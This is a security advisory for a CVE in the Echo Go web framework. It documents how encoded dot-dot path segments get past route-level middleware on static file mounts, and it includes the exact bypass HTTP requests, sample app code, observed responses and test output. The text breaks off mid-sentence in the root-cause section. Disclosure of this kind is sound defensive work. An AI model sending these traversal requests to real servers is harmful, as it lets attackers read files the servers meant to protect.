CVE-2026-118654 — Vulnerability intelligence
labstack — github.com/labstack/echo/v5, github.com/labstack/echo/v4
Published:
- CVSS
- 5.9
- CISA KEV
- Not listed; not proof of no exploitation
Original source text (not a translation)
Echo static file middleware route protection bypass via encoded dot-dot traversal
## Summary
Echo v5.2.0 contains a bypass of the fix for GHSA-vfp3-v2gw-7wfq. The fix rejects encoded path separators such as `%2F` and `%5C` before static file path unescaping, but two traversal forms still bypass route-level middleware protections for static files.
The primary bypass uses encoded dot-dot segments. A request such as `/public/%2E%2E/admin/secret.txt` passes the encoded-separator guard, is unescaped to `public/../admin/secret.txt`, then `path.Clean` resolves it to `admin/secret.txt`. If `/admin/*` is protected by middleware but the static filesystem is mounted at `/`, the protected file is returned through the public static route.
A second bypass exists when `UseEscapedPathForMatching=true`. In that mode, the router normalizes encoded separators before the static handler checks the wildcard. The handler receives a decoded wildcard with no `%` characters, so the encoded-separator guard does not run on the original encoded path.
## Impact
An unauthenticated attacker can read files that an application intended to protect with route-level middleware, when those files are also reachable through a static filesystem mount after path normalization.
The high-severity variant works with the default router configuration and requires only encoded dot-dot path segments. The direct protected route returns 403, while the public static route returns the protected file content.
The `UseEscapedPathForMatching=true` variant is lower severity because it requires a non-default router configuration.
## Affected versions
Tested vulnerable:
- `github.com/labstack/echo/v5` v5.2.0
- Current `master` at `5786024ea4d85c01784796e8aa7aac53e007b39b`
No patched version is currently known.
## Policy and version checks
GitHub Private Vulnerability Reporting is enabled for `labstack/echo`. The repository has a root `SECURITY.md` and accepts security reports through GitHub Security Advisories.
The vulnerable code was revalidated on both current `master` and the latest release tag:
- Current `master`: `5786024ea4d85c01784796e8aa7aac53e007b39b`
- Latest release: `v5.2.0`, published June 14 2026
- Package: `github.com/labstack/echo/v5`
The same focused Go tests pass on the checked out `v5.2.0` / `master` commit, proving the bypass remains present in the latest released version and latest main branch at the time of reporting.
## Reproduction
The following application shape reproduces the high-severity bypass:
```go
e := echo.New()
g := e.Group("/admin", func(next echo.HandlerFunc) echo.HandlerFunc {
return func(c echo.Context) error {
return echo.NewHTTPError(http.StatusForbidden)
}
})
g.GET("/*", handler)
e.StaticFS("/", fsysWithAdminSecret)
```
Control request:
```http
GET /admin/secret.txt
```
Observed result:
```text
403 Forbidden
```
Bypass request:
```http
GET /public/%2E%2E/admin/secret.txt
```
Observed result:
```text
200 OK
TOP-SECRET
```
For the non-default router variant:
```go
e := echo.New()
e.router = echo.NewRouter(echo.RouterConfig{
UseEscapedPathForMatching: true,
})
g := e.Group("/admin", authMiddlewareReturning403)
g.GET("/*", handler)
e.StaticFS("/", fsysWithAdminSecret)
```
Bypass request:
```http
GET /public%2F..%2Fadmin%2Fsecret.txt
```
Observed result:
```text
200 OK
TOP-SECRET
```
## Proof of concept evidence
I added focused tests against the current Echo codebase. The tests exercise both `StaticDirectoryHandler` and the static middleware path.
Command:
```bash
go test -run TestHostile -v ./...
```
Observed result:
```text
=== RUN TestHostile_StaticDirectoryHandler_EncodedSeparatorsBlocked
--- PASS: TestHostile_StaticDirectoryHandler_EncodedSeparatorsBlocked (0.00s)
=== RUN TestHostile_StaticDirectoryHandler_EncodedDotDotBypass
--- PASS: TestHostile_StaticDirectoryHandler_EncodedDotDotBypass (0.00s)
=== RUN TestHostile_UseEscapedPathForMatching_Bypass
--- PASS: TestHostile_UseEscapedPathForMatching_Bypass (0.00s)
PASS
ok github.com/labstack/echo/v5 0.013s
=== RUN TestHostile_StaticMiddleware_EncodedSeparatorsBlocked
--- PASS: TestHostile_StaticMiddleware_EncodedSeparatorsBlocked (0.01s)
=== RUN TestHostile_StaticMiddleware_EncodedDotDotBypass
--- PASS: TestHostile_StaticMiddleware_EncodedDotDotBypass (0.00s)
=== RUN TestHostile_StaticMiddleware_DisablePathUnescaping
--- PASS: TestHostile_StaticMiddleware_DisablePathUnescaping (0.00s)
PASS
ok github.com/labstack/echo/v5/middleware 0.012s
```
The control tests also confirm that the new fix blocks encoded separators such as `%2F`, `%5C`, double-encoded slash values, null bytes, and overlong slash encodings.
## Root cause
The fix for GHSA-vfp3 uses a denylist-style guard that checks for encoded path separators before unescaping the static wildcard. This blocks `%2F` and `%5C`, but does not block encoded traversal segments such as `%2E%2E`.
The vulnerable flow is:
1. The static route wildcard accepts `public/%2E%2E/admin/secret.txt`.
2. The encoded-separator guard sees no `%2F`